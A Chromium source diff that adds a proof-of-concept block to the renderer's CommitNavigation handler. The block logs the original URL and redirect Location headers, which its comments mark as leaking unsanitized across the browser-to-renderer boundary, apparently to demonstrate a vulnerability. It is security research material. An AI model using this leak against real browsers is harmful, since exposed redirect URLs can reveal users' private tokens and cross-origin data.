diff --git a/content/renderer/navigation_client.cc b/content/renderer/navigation_client.cc
index c01edf25276d0..8f8301d120a77 100644
--- a/content/renderer/navigation_client.cc
+++ b/content/renderer/navigation_client.cc
@@ -8,6 +8,9 @@
 
 #include "base/check.h"
 #include "base/functional/bind.h"
+#include "base/logging.h"
+#include "net/http/http_response_headers.h"
+#include "services/network/public/mojom/url_response_head.mojom.h"
 #include "base/functional/callback_helpers.h"
 #include "base/uuid.h"
 #include "content/common/features.h"
@@ -76,6 +79,37 @@ void NavigationClient::CommitNavigation(
     mojom::CookieManagerInfoPtr cookie_manager_info,
     mojom::StorageInfoPtr storage_info,
     CommitNavigationCallback callback) {
+  // ========================================================================
+  // POC: Compromised-renderer inspection of CommitNavigation IPC payload.
+  // Runs in the RENDERER process. Everything logged below was sent across the
+  // browser->renderer process boundary by NavigationRequest::CommitNavigation
+  // after SanitizeRedirectsForCommit() ran in the browser.
+  // ========================================================================
+  if (!commit_params->redirect_response.empty()) {
+    LOG(ERROR) << "POC ===== Renderer received CommitNavigation =====";
+    LOG(ERROR) << "POC committing URL: " << common_params->url.spec();
+    LOG(ERROR) << "POC commit_params->original_url (UNSANITIZED): "
+               << commit_params->original_url.spec();
+    for (size_t i = 0; i < commit_params->redirects.size(); ++i) {
+      LOG(ERROR) << "POC redirects[" << i
+                 << "] (sanitized): " << commit_params->redirects[i].spec();
+    }
+    for (size_t i = 0; i < commit_params->redirect_infos.size(); ++i) {
+      LOG(ERROR) << "POC redirect_infos[" << i << "].new_url (sanitized): "
+                 << commit_params->redirect_infos[i].new_url.spec();
+    }
+    for (size_t i = 0; i < commit_params->redirect_response.size(); ++i) {
+      const auto& rr = commit_params->redirect_response[i];
+      if (rr && rr->headers) {
+        std::optional<std::string> loc =
+            rr->headers->GetNormalizedHeader("Location");
+        LOG(ERROR) << "POC redirect_response[" << i
+                   << "] Location header (UNSANITIZED LEAK): "
+                   << (loc ? *loc : "<none>");
+      }
+    }
+    LOG(ERROR) << "POC ===============================================";
+  }
   DCHECK(blink::IsRequestDestinationFrame(common_params->request_destination));
   MoveOwnershipToCommitTargetIfNeeded(commit_params->commit_target_frame_token);
   // TODO(crbug.com/40276805): The reset should be done when the